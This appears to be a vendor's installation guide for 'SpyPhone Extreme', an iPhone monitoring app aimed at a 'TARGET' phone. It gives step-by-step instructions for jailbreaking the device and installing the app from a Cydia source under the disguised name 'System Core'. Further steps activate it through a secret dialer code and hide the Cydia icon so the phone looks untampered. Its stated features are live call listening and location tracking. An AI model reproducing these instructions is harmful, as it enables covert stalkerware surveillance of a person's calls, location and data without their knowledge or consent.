

SpyPhone Extreme
iPhone Getting Started

Note that the TARGET iPhone is the phone you will be tracking and monitoring
Before we get started, please make sure you meet the following requirements

1. You have a compatible TARGET iPhone physically in your hand for installation.
2. The TARGET iPhone has internet enabled on it through Wifi, GPRS or 3G.
3. The TARGET iPhone has conference call or three way calling enabled by the network operator for live call listening.
4. The TARGET iPhone has GPS or Location Services enabled.
5. The TARGET iPhone has sim card registered with the network operator.
6. iPhone has to be jailbroken.

1. Getting Started – Finding your software activation code after purchase

To activate the software, you need your software activation code.

- 1) From your account Dashboard, click 'Account' from the side menu.
- 2) Where it says 'License key', you will see your software activation code. Please write this down to activate your software during installation. See the picture below for example.

The screenshot shows the 'Account Settings' page. The left sidebar has 'Account' selected. The main content area shows a table of license profiles. The first row has a license key of '33258' highlighted with a red box. The table columns are: LICENSE KEY, PRODUCT NAME, USERNAME, AVATAR, DEVICE NAME, DEVICE IMAGE, PHONE NUMBER, LAST CONNECTED TIME, and ACTION.

LICENSE KEY	PRODUCT NAME	USERNAME	AVATAR	DEVICE NAME	DEVICE IMAGE	PHONE NUMBER	LAST CONNECTED TIME	ACTION
33258	AnyPhone					44111222334	2012-11-02 10:26:59	

2. Installation and Activation

All of these installation steps are performed entirely on the TARGET iPhone itself. We are using iPhone firmware version 6.1 as an example. For TARGET phones running earlier or later versions of the operating system, the steps might be slightly different.

1. Get the Target iPhone in hand
2. Go to Cydia (If you don't have Cydia, you need to jail break the phone to get it)

3. Tap Manage

4. Tap Sources

5. Tap Edit

6. Tap Add

7. Enter <http://ios.dmw.cc> and Tap Add Source

8. Tap Return to Cydia

9. Tap on the Cydia URL that we just entered

10. Tap on System Core application

11. Tap Install

12. Tap Confirm

13. Tap Restart SpringBoard

14. Go to Phone icon

15. Dial *#900900900 and End Call very quick

16. Software's settings screen will appear on the screen.

Tap Activate, enter your Activation Code that you received from your dashboard and tap "Activate" button.

The "9999999" is an example for the Activation Code.

17. As soon as you see "Activation Success!" software is now activated on the phone and ready to use

18. Tap SystemCore on the top left hand side of the screen to go back to the default page of the settings screen. If you're already out of the settings screen by accident, go to Phone, dial *#Activation Code and End Call. You will be brought back to the settings screen
19. Tap Configure and change Cydia Visibility to OFF to hide Cydia icon on the phone so the phone will look as if it has not been jail broken. If you leave this setting to ON, Cydia icon will be left on the phone

20. If you set the Cydia Visibility to OFF, tap Home to get out of the settings screen and you will notice that the Cydia icon is gone. To access the settings screen again, go to Phone, dial *#Activation Code and End Call. You will be brought back to the settings screen.

3. Deactivation

You should deactivate the software when you no longer want to use it, or when you want to move the software to another compatible Target phone.

Please remember that deactivation will delete ALL DATA from the web account and it cannot be retrieved. If you want to deactivate, please login to your dashboard first, download the data to your computer and then verify the contents of the report file using Microsoft Excel. If the report file is correct and all data is present then continue on with deactivation and uninstallation.

1. On the Target phone, access the dialer, enter ***#your-activation-code** and dial this as a call. After a few seconds, the software screen should appear.
2. To deactivate, go to Activate screen by tapping on "Activate"

3. Then press the Deactivate button to deactivate the software and you will get a message "Deactivation success!"

4. Uninstallation

1. To uninstall, access the dialer, enter *#900900900 and dial this as a call. After a few seconds, the software screen should appear. Tap "Uninstall".

2. You need to scroll the bar to the right to enable the Uninstall button

3. Then press the Uninstall button to completely uninstall the software

If Cydia icon has been hidden, uninstalling software on the phone will bring up the Cydia icon automatically
